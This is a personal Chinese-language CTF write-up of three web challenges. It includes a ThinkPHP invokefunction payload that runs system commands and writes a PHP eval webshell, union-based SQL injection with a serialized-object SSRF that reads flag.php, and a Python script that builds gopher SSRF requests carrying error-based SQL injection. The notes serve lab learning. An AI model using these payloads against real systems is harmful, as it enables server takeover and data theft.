记一下题:

payload:?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
解释:\think\app框架的命名空间和路由映射,借用这个可以访问到框架自己设置的函数invokefunction(),该函数可以执行任意函数(传入函数名和参数),后续主要通过这个函数来执行php内置函数进行任意代码执行来完成攻击

执行phpinfo()暴漏敏感信息
执行payload:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=ls
通过invokefunction函数执行php内置的call_user_func_array函数,该函数可以执行任意内置的函数,只需传入函数名和一个数组参数,call_user_func函数同上,但参数不传入数组

直接上webshell
payload:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=shell.php&vars[1][]=<%3fphp%20eval%28%24_POST%5b%27cmd%27%5d%29%20%3f>
一剑连接


直接注册

有个小坑,注册时blog的格式有要求,不然注册不成功,狗逼的题目也不说

注册后跳转到界面,username处明显不同,点击后

界面跳转,url栏?no=1明显存在注入点
使用单引号探测报错

显然存在sql注入漏洞
order by发现存在4列
使用union select发现存在过滤
推测是对两个在一起的关键字进行了过滤
使用union++select绕过过滤

注入中发现只有二号位回显
逐步爆表爆字段

爆出的列中没有flag列,但是有一个data列,查看发现是用户信息的反序列化内容,做到这有点懵不知道如何下手,查看题解发现需要扫描目录,md总是忘记,每次记得扫的时候就没东西,尔冯福

扫描后果然有新的收获,直接扫到flag.php,本以为可以直接结束,访问后发现一片空白(查看题解才知道这种一般是权限不足,在遇到这种要往提升权限上靠),不死心的又看了db.php,依旧没收获,最后查看robots发现了蛛丝马迹,

发现了遗漏的备份文件,访问后下载文件

一个用户信息的类
在getBlogContents方法中(查看题解时发现在进行注入时页面报错就有提示了,还是观察的不仔细),return this->blog),先是请求了用户信息中的blog的url地址,再返回内容,所以这也是为什么开始注册的时候blog格式有要求?开始想了很久也不知道干啥,再一想请求url这不就涉及到ssrf漏洞码?在联想上面的访问flag.php页面空白,说明权限不足,再到这通过ssrf漏洞服务器越权,关联紧密啊
返回到注册页面重新注册,本想直接在blog位置执行payload读取文件,但是因为格式要求不行,于是在查询处使用?no=-1//union//select/**/1,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:8:%22admin123%22;s:3:%22age%22;i:18;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27,将序列化后的对象传入
查看源码发现一段base64加密的flag


输入uname和passwd无返回,按题目sql注入也不行,查看下面文字说不是内部人员,想着是不是ssrf,查看页面源码发现有个use.php

果然时ssrf,测试发现file协议和http协议不行,被过滤了,使用gopher协议成功,gopher协议需要对内容进行两次url编码,并把其中的换行符改成回车加换行符,并且gopher协议会吞掉最前面一个字所以需要在最前面加上一个任意字符,贴一段源码:
import base64import urllib.parseimport urllib.request
host='127.0.0.1:80'content='uname=admin&passwd=admin'content_length=len(content)print(content_length)sql="') and updatexml(1,concat(0x7e,(select database())),1)#"sql=(base64.b64encode(sql.encode()).decode())print(sql)cookie=f'this_is_your_cookie={sql}'test=\"""POST /index.php HTTP/1.1Host: {}//前面有空格User-Agent: curl/7.43.0Accept: */*Content-Length: {}//空格Content-Type:application/x-www-form-urlencoded
{}""".format(host,content_length,content)
tmp=urllib.parse.quote(test)new=tmp.replace("%0A","%0D%0A")#gopher协议中换行符需要变成回车加换行result=urllib.parse.quote(new)print("gopher://"+host+"/_"+result)测试开始发现总是不成功,仔细查询后发现是因为Host主机名后要加个空格然后再添主机名,细节呢,请求体与请求头间也要空一行,报文格式有着严格要求,最好是手动抓取一段报文后再去进行修改,同时不要在浏览器的url地址栏中输入payload,浏览器会对payload进行一次url解码破坏结构

返回页面中有一段编码内容,YWRtaW4%3D,解码后为admin=,有点迷惑?
按他的要求设置cookie后发送

没发现有效内容,不知道他那个admin=是什么意思,改变cookie后发现报错(记得往下翻翻)

到这又懵了,报错那么不应该改变cookie吗(实际上页面本身不报错,返回200,页面内容返回了错误信息),又看题解,才意识到这个页面的报错不就可以用来进行报错注入吗,对应题目ver_easy_sql,beyongd!到这才注入,我都忘了这题要干嘛
接下来简单的sql注入,爆库爆表爆flag一条龙
sql="') and updatexml(1,concat(0x7e,(select database())),1)#"sql=(base64.b64encode(sql.encode()).decode())print(sql)cookie=f'this_is_your_cookie={sql}'记得sql语句得编码,python中base64编码的函数只接受字节流,先用encode转为字节流再编码,再用decode转为普通字符串

拿到flag,不知道为什么提交不正确